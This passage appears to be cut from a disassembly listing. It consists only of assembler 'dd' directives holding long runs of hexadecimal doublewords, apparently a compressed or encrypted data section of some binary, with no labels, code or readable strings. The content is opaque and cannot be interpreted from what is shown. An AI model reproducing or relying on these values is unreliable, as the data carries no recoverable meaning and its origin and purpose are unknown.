		dd 0A1D3F7AFh, 853B7BA6h, 0EF520033h, 28036C71h, 87479FC2h
		dd 0E9B6E0F7h, 0A6394BF8h, 6A811207h, 510B69E6h, 23292BE9h
		dd 51D06BF6h, 0EE17C320h, 40C96ED8h, 40346F5Dh,	9DDAF8C3h
		dd 131796A0h, 0E9450A64h, 0CEB8AF2h, 309F7C2Ah,	0BC21E9B9h
		dd 0FC5413C7h, 297EE12Eh, 6683553Ch, 689BE1F7h,	0B87D11A2h
		dd 82A081E0h, 4EF29E72h, 0F0690794h, 0D06B56Eh,	9B952D6Bh
		dd 0ACD2D99Bh, 9252376Bh, 647CEDDBh, 856F2D82h,	3C47DE7Fh
		dd 718AE282h, 8D421043h, 23B5559h, 40EF6F1h, 5826DE21h
		dd 0C748C1E9h, 3D3281BAh, 6EC636Eh, 229AB533h, 0AF53678Ah
		dd 772E2045h, 94F92158h, 2FB46AD8h, 0E822C982h,	2DE00F76h
		dd 5ACC78DFh, 6ACCA72h,	9FDAE95Eh, 96B33834h, 8C66D918h
		dd 535C59C8h, 0EEE90B5Fh, 0AD17594Dh, 2C3C4549h, 79462E65h
		dd 72032B0Bh, 27087F98h, 441B41EAh, 6C22B9C9h, 0D31ED40Fh
		dd 562CF2F9h, 1EE07ADh,	13E97557h, 826CF3E4h, 21D4468h
		dd 0FF5897E9h, 20CA595Eh, 653BE14Bh, 35312ACBh,	0AD2C5FFEh
		dd 0B40EE90Bh, 14F294Ch, 0C4CD5312h, 0E7842428h, 50480526h
		dd 58000EBFh, 0D41FB0D7h, 582A101h, 73601888h, 0B420873Eh
		dd 0C5481852h, 40F2253Eh, 3C587FC0h, 0E97B8404h, 37EA474Ah
		dd 112E9386h, 0D208732Ah, 0A4F58928h, 908D5769h, 809EF8FFh
		dd 9E955E54h, 8AF2D6AEh, 578B3923h, 0A30F14ADh,	5FCC222Ch
		dd 20F1CD66h, 0C89FB9ABh, 7725A1Bh, 0D9F76BD4h,	0D1891E49h
		dd 3545B00h, 499DCC2Ah,	4E25B367h, 8F2B3865h, 81D154BEh
		dd 60C19CCFh, 685809BBh, 317B4AC8h, 2D9F44Bh, 916F44BFh
		dd 0D25F1FC4h, 5094364h, 53FA8E59h, 56130F5Ch, 56F16F09h
		dd 0E78054EAh, 842D1F15h, 7CD700Fh, 0F701CE5Fh,	0C8E683D6h
		dd 471FBDE1h, 0B23690A9h, 9059E927h, 429155F6h,	16DC988Bh
		dd 0C0A5DA28h, 0AD1066A4h, 0C9555F1Dh, 1890F61Ah, 6A0E61E4h
		dd 4E7FBF06h, 6713735Bh, 0B1582AC3h, 9A2F1672h,	23CC5E2Ah
		dd 2FE7D5Ch, 0E93AF680h, 0A1483DE6h, 469D2546h,	29982593h
		dd 6F09C446h, 437AF04h
		dd 3402454Eh, 0EF5488A9h, 0C8808513h, 0FA4F180h, 13B75366h
		dd 0D1D68B85h, 3008EAA5h, 0B17479Fh, 32011C50h,	7E0D5531h
		dd 1D6DF8F3h, 37BE3D6h,	1C470955h, 9D915A10h, 0DF7A5132h
		dd 8F7F414Ah, 4848AB19h, 8217B5E7h, 14A3378Eh, 56DA4E0Eh
		dd 0AC2ACAF0h, 0DD59CB52h, 0B70C5182h, 1911325Bh, 0BF727361h
		dd 4C5F0840h, 0B45CBA83h, 20844D7Ch, 700BBA02h,	0F5F5BF9h
		dd 55AE94Ch, 0C594EC6Ch, 4E68E1C0h, 49719679h, 7C4B0859h
		dd 4158938Ch, 0DE95BFFh, 0C6CD72F8h, 1716CDA8h,	0F05AD531h
		dd 395A680Eh, 0A2F0DD14h, 93E90129h, 0A9CE3FFCh, 5214F24Ah
		dd 0D1DD39EFh, 8924C23Ch, 406009EBh, 5416A0E3h,	89F40575h
		dd 0D0A34F65h, 0AD4E86A7h, 347BC2C5h, 6809F0F3h, 26192523h
		dd 0AEA4F354h, 0E90B112Eh, 9A56EC9Ah, 0BFD10A98h, 0D92A1EC2h
		dd 3358B1Ah, 5972B14Ch,	714191BFh, 69B5DCEh, 0FC331F0h
		dd 50C0B713h, 0ADA545F8h, 0B8E90B1Bh, 24A014D7h, 1977E831h
		dd 0E5D90F43h, 0B0D8EDCBh, 5E680856h, 2C9D936Eh, 0E3214412h
		dd 18A5D7AEh, 0AAEFF420h, 0E10863B6h, 40CA064Ch, 0BBB4CD7Eh
		dd 3F770974h, 4E83A968h, 65031324h, 87390C02h, 0D9BE6160h
		dd 64DB8400h, 0CE5889E4h, 0AC63A8Bh, 0E725942Eh, 8457C227h
		dd 0BF0A9B00h, 0F9943F58h, 4886516h, 603FA7BEh,	171DBB65h
		dd 17098454h, 0E9033190h, 683F8588h, 31AE56DDh,	4D1B820Dh
		dd 968779B9h, 185BF0E4h, 71202568h, 5D81FFBBh, 990A03D8h
		dd 392C0B7Ch, 8DA19564h, 204F65CFh, 0BA646AEFh,	24536EDFh
		dd 8CBF17E4h, 0E140DBE7h, 198891FEh, 68593355h,	81DC4B71h
		dd 0B596975Bh, 0C4E63025h, 455D4FFDh, 0B8F1F658h, 56CC091Ah
		dd 3008C854h, 0E38180C2h, 882BD30Eh, 0E5CBC22Dh, 0E9BAE025h
		dd 0FC849FB6h, 1424AE52h, 0D87316AFh, 0CA4D5A1Ah, 4BDD2611h
		dd 7F0BEB13h, 8D6C7E49h, 740D268Ah, 592D68A1h, 8E197141h
		dd 0B460C1B0h, 0E8B1515Eh, 59CC2801h, 0E5E9E188h, 0F605B22Ch
		dd 0FCEFEDEh, 0AB8402A2h, 81FDD7C6h, 43E58830h,	6F7812CCh
		dd 0FE26CF7Ah, 203E8F5Bh, 98609042h, 143A0FA4h,	23A9791Ah
		dd 8F64CBA3h, 9A965613h, 6C712D20h, 89ECE572h, 819EB726h
		dd 0CA052C41h, 13B757BFh, 0E731CC0Bh, 0E4903F2h, 2C713839h
		dd 9E02E041h, 0C04D3F0Bh, 0CEDB0F19h, 2FA5EB7Bh, 2067BC53h
		dd 26B90220h, 0D1213531h, 0EC01CE50h, 0E9FC25BAh, 0DF9F2787h
		dd 0C0ED47FDh, 0C07C66Eh, 3F1E2A0Bh, 77BDE34h, 29EF2CC8h
		dd 13E57880h, 80B516E4h, 36011FC5h, 1BBA1D52h, 1725F27h
		dd 0D8614FCAh, 0D5946028h, 674A1E79h, 5DE980B0h, 2C3EA597h
		dd 7ED8289Eh, 654DC44Ah, 26C988Ah, 0A0E745BDh, 0AFD359CFh
		dd 21B30F12h, 99D184h, 95659768h, 0BEE6BE98h, 330CBB81h
		dd 0C811440h, 7530E4C5h, 0F694AC58h, 66BE0503h,	35FFDC6Bh
		dd 0FA3DEF56h, 8F4BC82Ah, 0EE8885C5h, 4A37FEF4h, 5BE3B726h
		dd 0D136F5D2h, 0EF834348h, 6B37B5FCh, 0C66263D9h, 574366D7h
		dd 0D5874C68h, 7F461003h, 87F7B01Dh, 6EC60477h,	0E94DA9E9h
		dd 7B063F14h, 14230D02h, 5EF5313Ah, 0E4AA528Dh,	53CB27ECh
		dd 41792207h, 66C2093Dh, 94A2D702h, 0F6C62785h,	10BD5502h
		dd 606D4050h, 0BCCE1A75h, 0A12FBB69h, 8441E31Ah, 0C7BB81F5h
		dd 72AC37CCh, 0B8CE6968h, 20337840h, 0E090C701h, 33C1D9F4h
		dd 806685EDh, 3EF5BA80h, 2925AC63h, 0A45984B0h,	0FC350303h
		dd 0E29668EEh, 2367E2C1h, 3086FD2h, 439FE5D9h, 52322240h
		dd 0C020D88Ch, 2662C572h, 9259532Eh, 0F62A5606h, 74564FF6h
		dd 0EF808EECh, 1E281294h, 73922A98h, 8196812h, 88018399h
		dd 101B831h, 0C48572C5h, 17BBEF68h, 8233ADC9h, 0CBFD1DE9h
		dd 4492B101h, 1BF92F8Bh, 0E9413FF1h, 4E29EF26h,	1B4C302Eh
		dd 5DE2CB98h, 0B7D6BD80h, 21278C8Eh, 0E9D918F8h, 0FAB22Dh
		dd 0D05AD388h, 66DBF6EBh, 1A4A6872h, 846B9AA5h,	0F707FA1Bh
		dd 90B96EBh, 0AF558A43h, 0BB6B18A7h, 754D26FDh,	372039FDh
		dd 5A3E5A4Ch, 5EFB05C8h, 0E138685Fh, 97AF85BDh,	0E17946F8h
		dd 0C73DFBBFh, 11EC8DAh, 7C87D958h, 0B74CBD84h,	183A632Dh
		dd 4B68574Fh, 543C096Dh, 862B52Ah, 0F825B7ADh, 13C8098Eh
		dd 86832895h, 6CB81B0Ah, 6798DAF7h, 0E1DE760Bh,	7DF588Fh
		dd 8A251A2Dh, 0C2C8856Bh, 0ACD85B96h, 4414BE00h, 19BB75A6h
		dd 0D23D276Eh, 0F72CCAF0h, 2B03B4DBh, 0B769CE49h, 0EEDDFAB0h
		dd 0DE2928EBh, 44F54EACh, 0C05EF2B4h, 0E36708BEh, 0BBF11D4Bh
		dd 0C05FC242h, 0BE215C57h, 9E863910h, 0C3D9D67h, 4E680702h
		dd 0D1D72961h, 2634A09h, 602E319Bh, 72408E4h, 356CF351h
		dd 23422768h, 7FA4EED9h, 0C33FE825h, 58A19072h,	12D5905h
		dd 1B716E44h, 0F718EF62h, 43828465h, 47519EECh,	5CD987F5h
		dd 0BD68BD41h, 849D277Eh, 0D2A99576h, 967D5E86h, 8264C1D2h
		dd 876B5870h, 3F9A3052h, 0B99060ABh, 67F50652h,	64D101D5h
		dd 898BCA40h, 56DE2C33h, 0F4680A3Bh, 5796321Bh,	0E921828Bh
		dd 0FF68104Bh, 3DFC251Dh, 3A7174E0h, 36F82179h,	64246C4Ah
		dd 5E0104F8h, 0E939BA37h, 0EAD28D4h, 617EF680h,	0C6FE90EEh
		dd 0A0EB7371h, 0F00863h, 3462045Ah, 58C53065h, 0B1B75302h
		dd 0F5AE9CE9h, 24D37114h, 502D87B2h, 66644E7Bh,	9975CFB9h
		dd 27029F0Ch, 33A00C64h, 0C5B2960Ch, 6951EB37h,	0AD05A8C4h
		dd 0D5FE8131h, 0E3C86BE1h, 9BD1925Eh, 0BE0F01F8h, 65C1E9C8h
		dd 8B146E92h, 0BFB361F8h, 5FE8687Bh, 6FCF3F81h,	0C10D4205h
		dd 0E76980EFh, 6E4A7730h, 0D6447BA8h, 273C772Ch, 2DD2EBF6h
		dd 0A7035A38h, 12A54C5Bh, 0EC5D3B68h, 0A8F3D29Bh, 0CAF7E297h
		dd 942D8C89h, 9EEA9818h, 0FC058944h, 0CC6902F6h, 6BE9167Bh
		dd 0A4BC9017h, 0EB924C81h, 0E23D9804h, 2FD40105h, 79090812h
		dd 723B5623h, 606F4B40h, 44708030h, 5F6D5ADCh, 560F8001h
		dd 1B38E5BEh, 7FC4CB4Fh, 29854AFCh, 5089E614h, 8012DB56h
		dd 93F07471h, 0BF797168h, 0F5C2DF19h, 3B1B49D3h, 1B72956h
		dd 0D573E982h, 0C19DEE46h, 7E64D5h, 6291BE7Eh, 7BF43429h
		dd 661493B4h, 614718B1h, 0B76DF70Ah, 0A304CE50h, 0B18DE921h
		dd 0AD12778Bh, 0D6A3AD2Ch, 3B48DACh, 820D9C8Ch,	63CE81B0h
		dd 42805E18h, 0B104A0Ch, 2AE923BAh, 3254E1C1h, 2E68C39Ah
		dd 0BD77241Ch, 0E8AD9288h, 0AEB9C0BCh, 118862Ah, 0FA530805h
		dd 7F2FE96Bh, 0B1AC2017h, 564A09D2h, 3C133157h,	9F861C3Eh
		dd 0FC74D782h, 76B0C18Bh, 912AF1E9h, 2E58C2D1h,	7D410972h
		dd 0ED5A7FB2h, 219644FCh, 0F8698Eh, 38752D56h, 930AC1E6h
		dd 7B377050h, 41071C10h, 32121198h, 0E965D40Fh,	679B5328h
		dd 0DC7EB909h, 95A3550Bh, 239844EAh, 0D64A01F4h, 298153A9h
		dd 289BE9C6h, 0F2BE6EF4h, 0B9F12EB5h, 0C864866Ch, 0D399B893h
		dd 9F31A3B4h, 0CC48264Ah, 0FC4FE957h, 29F56884h, 91F1EEE4h
		dd 0C2504712h, 7450EAAh, 5371E602h, 760C0040h, 0A09D2507h
		dd 34A0C629h, 0E9080B6Ah, 0F7E2A74h, 0A7AFE95Bh, 0B1D83C34h
		dd 0C19217A3h, 6C5450E9h, 1F302422h, 0C9168481h, 97665B0Dh
		dd 8734FF4Ch, 4E4BBE1Bh, 6815E83Bh, 4D301328h, 0B3320B1Ch
		dd 622F9348h, 0F7319275h, 0EED104DEh, 0ADB2C892h, 0A9413090h
		dd 2C34C1B9h, 3D656F38h, 8E50CBAFh, 4B4EE620h, 144C225Eh
		dd 8EB1507Ah, 0D0936809h
		dd 0A76E9F14h, 9C2E916h, 0BE52B68Ch, 0E1518BC8h, 32629254h
		dd 0C3520B48h, 5A7D7F60h, 3B2DF801h, 173A0DD8h,	0B9287D81h
		dd 3210893Fh, 4A234033h, 6E490A41h, 4B24E72Ah, 0BEA22A53h
		dd 0F692B117h, 0D82185D3h, 591509C8h, 5D1770D2h, 0FCF08C6Fh
		dd 36F45D4h, 43473FA9h,	0F81D108Bh, 522D65C4h, 0A45A53A3h
		dd 0D57728CCh, 0E92B346Eh, 968284FAh, 2C10BF00h, 0DFF45D45h
		dd 8400F41h, 76CD502Bh,	76CB052Ah, 0C017D458h, 0ACB159B7h
		dd 5390024Eh, 3BA269CAh, 41095E5Dh, 1F029117h, 626C29C9h
		dd 85A4E9F3h, 5DE82170h, 51001CECh, 1C14BBB9h, 53E4E906h
		dd 84F832B7h, 430E1D11h, 0C3CB0C6h, 0C59D317Ch,	0C8010BF2h
		dd 51002E79h, 23AB6856h, 5E482D03h, 0F6815DE0h,	0BB45A10Bh
		dd 0DF5EE341h, 0BC04A350h, 0E9F11389h, 0BE618095h, 40015D64h
		dd 0DF93BB66h, 0D0FDDD5Eh, 11E69054h, 0A791C012h, 635F7BAAh
		dd 0C6B38480h, 7C33880h, 66C49951h, 9054905Ah, 88EA25B8h
		dd 95378FE4h, 21CBCD35h, 53C57CABh, 73490C83h, 0FB080B4Fh
		dd 0E0322E9h, 0DBE4C209h, 3F1FBDD7h, 40DCA55Ah,	0EED80B2h
		dd 59E888D2h, 5866C260h, 0F2F8DAF6h, 3EA9AF70h,	5E3F240Dh
		dd 33EB3128h, 183D442Dh, 0A1F76630h, 0D42FFFE6h, 0DD03C435h
		dd 305FB40h, 4259CA29h,	641EF301h, 0F0DA02F4h, 53619EF9h
		dd 135E9E8h, 0DBB90DC0h, 9D670E58h, 0D9298CC0h,	551564BFh
		dd 6F21D3EBh, 4ABFDE3Fh, 0E3E1F91h, 6814C005h, 469F3F1Eh
		dd 34860223h, 2BE93812h, 69DE0EEAh, 13492C3Ch, 9E95C203h
		dd 9B6C156h, 37D2E72Ch,	0B0A07B39h, 8C46FA68h, 15B4F09h
		dd 1490C15Ch, 986E89C6h, 9559CE48h, 11F23E9Ah, 56A75A4Bh
		dd 3E4F3700h, 10F0E928h, 70023FD3h, 90353268h, 7F384F66h
		dd 24890F2h, 25103B46h,	0C862FD31h, 0C4139AFFh,	0B2015ACAh
		dd 9CF8D37Ah, 18DC09E5h, 1CDD0457h, 5C2F2EA8h, 0AA015393h
		dd 0EA283C33h, 0D4F4F529h, 70659DFEh, 164B7897h, 7CED8C58h
		dd 62EC12C3h, 2C62BC22h, 0B480DD07h, 18E9194Eh,	63E79FD7h
		dd 3BF246A5h, 772E3B49h, 0D4D1ADEh, 685602D5h, 4124CA95h
		dd 0F354E736h, 0D14656D7h, 60D341D2h, 0CC48881Bh, 52E569A4h
		dd 175E250Bh, 0DF003946h, 8127043Bh, 3068E6E7h,	707A2B4Ah
		dd 154AD243h, 9A04A6E9h, 0AF6D800Fh, 7CC1D913h,	0C83CC131h
		dd 115C89A2h, 2D8F9508h, 0EBA0CFF2h, 4E9FA1B6h,	30D24236h
		dd 3058337Ch, 0A95A48F0h, 2C0B7810h, 0D9496559h, 67349F5h
		dd 0B24AFD10h, 40E90B8Bh, 92B7A9D0h, 6A6B5E77h,	0A022A17Fh
		dd 2A554CB7h, 6CEFAC20h, 1FF9D778h, 0D16106D2h,	0BB2FB0E2h
		dd 0C15493B7h, 0F2532F2Eh, 9184CFC1h, 0CF05CF90h, 1417621Eh
		dd 590B974Bh, 0B22AF0Eh, 98EF2h, 1F59C6FDh, 5B01F617h
		dd 0E3DD71B4h, 3AB1040Dh, 0B2945FE0h, 2B640B90h, 0A805446Ch
		dd 0DE40E9DAh, 0B35FB5D6h, 0E474FCCBh, 0D0D0CBECh, 4EF2C568h
		dd 0DBBC0713h, 9E3946E9h, 8C1BE35Eh, 40D3D8EBh,	0E158C1FAh
		dd 51BB2F8Eh, 58368099h, 0D9012854h, 695FD7EFh,	61BE4374h
		dd 768F606Ah, 14F7D8Ah,	0DA84C1B2h, 65CCAA3Ch, 0AA68B7EAh
		dd 0D276F75Eh, 7702CAF4h, 874F2F6Bh, 0A2966BEAh, 57E85742h
		dd 133578B7h, 0ECFCEDBDh, 3EF2BAA3h, 0E20421F0h, 729B54DDh
		dd 0A1047AC4h, 25FB63AAh, 0B800EC49h, 0A2C34B01h, 2BBD80C3h
		dd 176F526Dh, 610FCB68h, 5F807ABh, 0F78D7C82h, 4423E015h
		dd 55C0E6A4h, 172F1BBDh, 0AC2937B4h, 2A9310B2h,	46115C2Fh
		dd 7B842EF8h, 87C09AA8h, 0D0F795EBh, 0E90C86E7h, 7262865h
		dd 45E6A335h, 0F062A4CFh, 515A0431h, 5B2FFFA2h,	2977F7CAh
		dd 72C0DC33h, 0FD51A742h, 54307E09h, 819547DCh,	6A4144A3h
		dd 844077D7h, 9FD7205Ah, 0C2E98341h, 0FC4B9E7Fh, 56E65E03h
		dd 924DE997h, 0FA84ADBDh, 0F298AEFCh, 0C80BF60h, 4F2368BFh
		dd 0ECBE1202h, 0D42AB248h, 0A1421246h, 17F326FAh, 65FC5F58h
		dd 0F967E9C7h, 0EB5005D4h, 0F6642EF4h, 0ED513B2Ch, 48990804h
		dd 12118A7Ah, 57B5E9F6h, 4F4268D0h, 0C5B7A37Bh,	39A28CC1h
		dd 0B644B78h, 0D2FC53FFh, 1C5CD160h, 0CEE92A7Eh, 0D1398DCh
		dd 2FD9140Dh, 840ED822h, 1FA53E4Ch, 0E01207A6h,	5644F41Fh
		dd 0CDBC7908h, 2808C128h, 0DCCD095Fh, 7F7D4148h, 7FFA019Fh
		dd 191565C0h, 0C11F09A1h, 0D00E07E5h, 4503EDA0h, 484FA0E9h
		dd 0EF9FB08Ah, 8E82EE10h, 0B16E3CB1h, 7181402Ah, 339041h
		dd 0DA57F4D1h, 0E958C101h, 0E1D38F29h, 0FA1A27BCh, 13E758A1h
		dd 5AD7EA10h, 21ED4C02h, 8D74E0ADh, 5BDF8834h, 7C75F095h
		dd 4A462F43h, 7D62AE4h,	59068404h, 56F972BFh, 3A7690E0h
		dd 30914258h, 5C85327h,	0E5D1F5Ah, 0E08A1374h, 0C7B566ADh
		dd 40F4A0DEh, 6BB801ADh, 0A5C5754Fh, 311C75BEh,	2C70E952h
		dd 5F6809DBh, 41DFE91Bh, 6892023Ch, 0E3CFD4FDh,	0A7E3E05Bh
		dd 0A0335963h, 25804CECh, 1740EF43h, 0D7839EB6h, 6BC21175h
		dd 0A35D04ACh, 0C13860C9h, 0F3642E12h, 305F876Fh, 4FFC3A92h
		dd 51FF990h, 0ED645650h, 945CAC46h, 0EBD69446h,	0AF6DB703h
		dd 0C6F24814h, 92B7D8F8h, 419861A9h, 4D2C538h, 0FD1A6552h
		dd 2BF70246h, 0E071795Bh, 287ECD96h, 3BB26E7Fh,	6B3023D5h
		dd 0A71B1D24h, 3B18F463h, 0F7DAB65h, 0BD051E7Eh, 49218F3h
		dd 0DAABE0E9h, 0E581DDC8h, 0D653BA1Bh, 5812B046h, 48104C8Ch
		dd 39B24F06h, 823A18FBh, 0E952856Ch, 0F5D0E322h, 15BF928h
		dd 5759C820h, 2B0F0368h, 558905B6h, 6860F4F4h, 1719337Fh
		dd 0C341E90Ch, 0B0D95097h, 0B3497B52h, 5F143196h, 177AC9E9h
		dd 0FCF93487h, 8A9B10E6h, 0B2F2375Bh, 307EDA83h, 0B4C64981h
		dd 0FE20295Ah, 2B48BD31h, 544B535Fh, 0BD934BB2h, 0DB3A145h
		dd 0C216642Bh, 0A6713B4Eh, 13C15608h, 0FD7A265Ch, 40E326FAh
		dd 30FF5914h, 681358E6h, 5E86615h, 8C5DEBC3h, 3BA3227h
		dd 0F4EAC00Ch, 0A3B840AAh, 535AD588h, 0F63DB773h, 8EE7AEDFh
		dd 0E8E46D09h, 4C426679h, 341009A7h, 3BBD0B44h,	817F8017h
		dd 0D31FF7EEh, 10BB1380h, 5D2508CFh, 32C9C054h,	539B1218h
		dd 680C3124h, 0AA852A39h, 690BAB3h, 4DC26882h, 0AE72E902h
		dd 89B8A5DEh, 51345999h, 2D00FFA2h, 0AC0561EBh,	5E80154h
		dd 698A0713h, 0E9D82902h, 20D1B331h, 95EC5C66h,	14EFEF2h
		dd 0F51759ECh, 0C0F134BAh, 0C0618026h, 1F227A90h, 5F1890C8h
		dd 8B4D81F6h, 4E5E02E2h, 7CC5011Ch, 21F4847Ah, 829855E8h
		dd 0CDA4BA6Ah, 6AD1BB56h, 0E9049078h, 0F4CA4A5Eh, 8467644Bh
		dd 21B9658Dh, 221472Bh,	0AA6856B9h, 5DDBFA30h, 0A04E76AEh
		dd 0F5261507h, 43A643Dh, 6B2A7796h, 0F48360C3h,	526C0913h
		dd 13B94182h, 27F8609h,	3F037130h, 0AF2F2C60h, 0FD3063D2h
		dd 63214D5Fh, 0AF77B91Bh, 61F49FDAh, 29F00713h,	911CBC04h
		dd 65980113h, 2CD19498h, 0DD2904DCh, 13BE0AE9h,	0A22FE80Ch
		dd 1B6E5F5Ch, 1F1B5120h, 9BABB53h, 27851965h, 0ED76AF96h
		dd 0F8BB970Ch, 89664C5Eh, 155B6107h, 2258B368h,	954320F9h
		dd 0E5B7BCD8h, 45028BCEh, 3750D8DEh, 7A34BD11h,	0BC2DDF84h
		dd 102567F5h, 0F81A96EAh, 0EDB80027h, 48F8F1D1h, 894E65D9h
		dd 3892E86h, 692FDCBCh,	52C3E19Bh, 0F1F72102h, 65725A68h
		dd 0E45B1364h, 3612EA2Bh, 1DFBBE03h, 6E267F9Ch,	41C7A745h
		dd 32936804h, 80C09AECh
		dd 0C1068813h, 605E335h, 0D882241Dh, 4029EE2Ah,	93EBBA3Ch
		dd 0D8ED31F9h, 41570287h, 0B7805F45h, 565A5452h, 651394BEh
		dd 0E0EC5B4Eh, 0BAF68101h, 2B58912Ah, 0E60C0690h, 755344F8h
		dd 63BF41BAh, 22CD297h,	0CA735431h, 0CC4092A0h,	83290BBEh
		dd 3641BA08h, 0B899304Eh, 3F213B18h, 0AB2B10Ch,	7FE9DE14h
		dd 0B058ADFFh, 5CFF1825h, 6C94E866h, 4012FDC0h,	5CEE20FCh
		dd 7952C779h, 3C819951h, 409E1E98h, 19FCCF96h, 9E703B26h
		dd 9F457302h, 7F02751Ch, 500C136h, 5A1799Eh, 2BD62548h
		dd 779A04ACh, 5D0109BCh, 68336D20h, 0E4ED73E5h,	0FE3E3FB2h
		dd 80F30F0Eh, 24172C12h, 346D286Eh, 84DE4891h, 2271EE25h
		dd 0C10F4A6Bh, 0F5078625h, 5DA5316Ch, 0C082A557h, 1E37B8DEh
		dd 934CDC3Ch, 5F42C2C8h, 34188861h, 5B59545Bh, 0DC508FB1h
		dd 5B64896h, 0CF062210h, 0F45052E9h, 60D84BF9h,	0B26B1AF2h
		dd 0EC65C63Ah, 0FC59D8A7h, 0EE1ABFFAh, 0FDC69A04h, 36736232h
		dd 0CCA40F63h, 9A495A6h, 9954F392h, 64CF1B24h, 1C909BE8h
		dd 38C32D26h, 20A66866h, 16E9C100h, 2F82DA0h, 0E2B963Dh
		dd 0DDF7C231h, 0C1018B00h, 0B39E4DE9h, 68595A02h, 0C14657F2h
		dd 3792BDFEh, 6E6B2D02h, 55597C69h, 0BF04B914h,	0FA254C55h
		dd 928CEAFh, 58C389h, 1B12D247h, 0F329253Eh, 19728D9h
		dd 10C3FE0Ah, 0A50B2F3Fh, 0DE525EB9h, 0EB9E09FAh, 0C5CDA95Fh
		dd 0C2880E58h, 4E82134Bh, 1377BA21h, 897DE3EAh,	37304AB6h
		dd 237416D2h, 80C60B5Dh, 96F845Ch, 0B13ABD0h, 594E56DEh
		dd 8221AF06h, 57D3A650h, 99883E47h, 9E0283Bh, 0BB97879h
		dd 22831409h, 33A90527h, 7E32E9E9h, 22AB2334h, 7FD8FEACh
		dd 584FBF03h, 0C8816217h, 12D4650h, 8BD5539h, 60744B6Fh
		dd 0E918079Ch, 2132D482h, 5A1C7847h, 665E06BEh,	0D2480AADh
		dd 0E359C926h, 581BE295h, 0D2B362EDh, 102921Eh,	205464D1h
		dd 253CB0BBh, 56C0051h,	7608DC35h, 5FF8954Ch, 0CE8D2D04h
		dd 39B80916h, 0B9B85001h, 701A5210h, 5BE421Ah, 205A90BBh
		dd 0E3D40525h, 2AF15093h, 0E9C0D33Fh, 7C45D2BAh, 7205922h
		dd 0FB2912BEh, 0B5EBC5Fh, 46301368h, 0D90A611Dh, 3845DDF7h
		dd 8E51FAFh, 63EB1052h,	115A5FA2h, 0FCC33524h, 0F9EE93DDh
		dd 883D860Fh, 4FA7D59Ch, 5B330692h, 0DB6473C3h,	6A800796h
		dd 504C6E62h, 5BE9FEFEh, 0C54F4BDDh, 19ADCF7Eh,	8C3F59B4h
		dd 0EE246825h, 0DC923D22h, 0D39C4F85h, 9FC66B02h, 0E22609D4h
		dd 0D2844842h, 5558DE3Dh, 47599053h, 2C0B688Eh,	46DA3BFCh
		dd 92BE055Ch, 14E6A2Ah,	95D572EFh, 9D863BB1h, 40A10B34h
		dd 0C07668E4h, 0E91708A0h, 44BCDA45h, 464217C9h, 2599B74h
		dd 0ADCF293Eh, 2A6D10Dh, 14526850h, 0B4600BDCh,	9A39E99Dh
		dd 79DB058h, 0F60A1CEDh, 0E914C555h, 43F500BCh,	10EC721h
		dd 32FEA1EFh, 0C95F2902h, 0A324DB5Ah, 80F403B5h, 0EA08D7F5h
		dd 2A0E37E1h, 0CBF8244h, 28276802h, 848365D9h, 109C634h
		dd 44413F80h, 6C7CE97Ah, 1D680963h, 2BF644Eh, 0E940478Fh
		dd 19FD1EFAh, 0EC38D679h, 2877FF02h, 0F8D62FE9h, 6B58C983h
		dd 97019588h, 60890F4Eh, 0BF281FD5h, 23F4BD03h,	51913C68h
		dd 1049363Fh, 0F75A39D1h, 8332180Ch, 14BDEE5Fh,	0E336AB25h
		dd 95525E27h, 0A94A68E6h, 55CBABA8h, 0CB6D9401h, 7F22866h
		dd 1EAB46BCh, 148ECD60h, 836A5075h, 53F769Eh, 5DEA897Ah
		dd 6B8CC201h, 5A50F0EBh, 81C1BAC8h, 186ACAEDh, 0BD4BC868h
		dd 4118602Dh, 0E201C306h, 809E90CDh, 5AE95908h,	0E87AC433h
		dd 0FCE2A733h, 9E6C5543h, 3B15F82Dh, 0DD2AD9A4h, 0A069D153h
		dd 0B05BA339h, 0B5B2FA94h, 8BAC3205h, 0CCB61739h, 0C5F6C404h
		dd 0F9B08C17h, 17496E9Fh, 0C157E9D9h, 3EEFC19Eh, 3792FD1h
		dd 48762724h, 0B9C06B5Bh, 73CB7B7Fh, 61E3E924h,	5EEE0592h
		dd 462F892Dh, 68381310h, 93412A59h, 6142B800h, 3CBD337Fh
		dd 0C2FD75DFh, 82385A92h, 46EBCF83h, 7022DEB1h,	7503B4D0h
		dd 0DD295DCDh, 51F5985Bh, 2129853h, 0E94AED6Ah,	0E549B203h
		dd 0CD49D1C1h, 0C97330E1h, 5C695912h, 1F0005BCh, 5237331h
		dd 7E87A48h, 673C06EAh,	89E91C0Fh, 0F326FE6Ah, 0C3F915Eh
		dd 84651B56h, 99B2A19Bh, 2E2A9C80h, 7A68074Fh, 69F6385Eh
		dd 581CF500h, 4874BF01h, 3D70C848h, 5220DBBAh, 4CA11413h
		dd 5A84DB1Ch, 0DD01BDAFh, 5C823DACh, 0E11C4F39h, 740F16Fh
		dd 0DD0CE6E9h, 0DCAC7B79h, 0CD5D9705h, 1D806BF4h, 8035D668h
		dd 29D7A5E9h, 98520928h, 84925F47h, 0AD1BFC49h,	467C9BE5h
		dd 14E46809h, 0E6254DFBh, 13E3BC25h, 0DF51F605h, 195756C2h
		dd 85356801h, 91B95BA9h, 48E98CAh, 0BD7F5BCh, 0BEE14604h
		dd 5BD28FF7h, 0F09F4950h, 0F6C5953Ch, 0AB127C8Eh, 0F3528015h
		dd 4A01F647h, 996045F5h, 0D630AAF7h, 98BD2823h,	0C9A87184h
		dd 0CDD6D869h, 0C166AF00h, 7F9A3552h, 0E9FD09B6h, 20DCEC91h
		dd 0F4E0F444h, 781A2A68h, 0DD592DC1h, 5C0700D9h, 0D5B3F9F7h
		dd 0EA791CF8h, 34BD0F44h, 5EE28E6Bh, 0C6C0777Ch, 5B1A368Fh
		dd 22BF576h, 0A7725A08h, 25A8114Dh, 830A7858h, 7F55EA37h
		dd 4C68A118h, 1EDD5853h, 0A4BC95B4h, 0B560F654h, 3C5FED8h
		dd 0C070CD80h, 0E59902EDh, 2B9AE704h, 0C38271C1h, 0D68258CAh
		dd 0C00399F2h, 732473E6h, 95C63BBBh, 1EBAEB1Ch,	65C3DDF3h
		dd 183210E5h, 43AB7FAEh, 0E985E0E7h, 15B3182Bh,	8C076C05h
		dd 81EBF033h, 7E61E504h, 88804E38h, 0F1B47D54h,	0C1D8847Fh
		dd 0D83066B9h, 7717B5CBh, 0F6C171AEh, 49CAFE7Fh, 2924559Bh
		dd 0A65905Dh, 78092608h, 75F204D0h, 18978101h, 0E05B03C8h
		dd 3027AFCAh, 0E40C793Ah, 2617C544h, 4A00DAF7h,	516265F5h
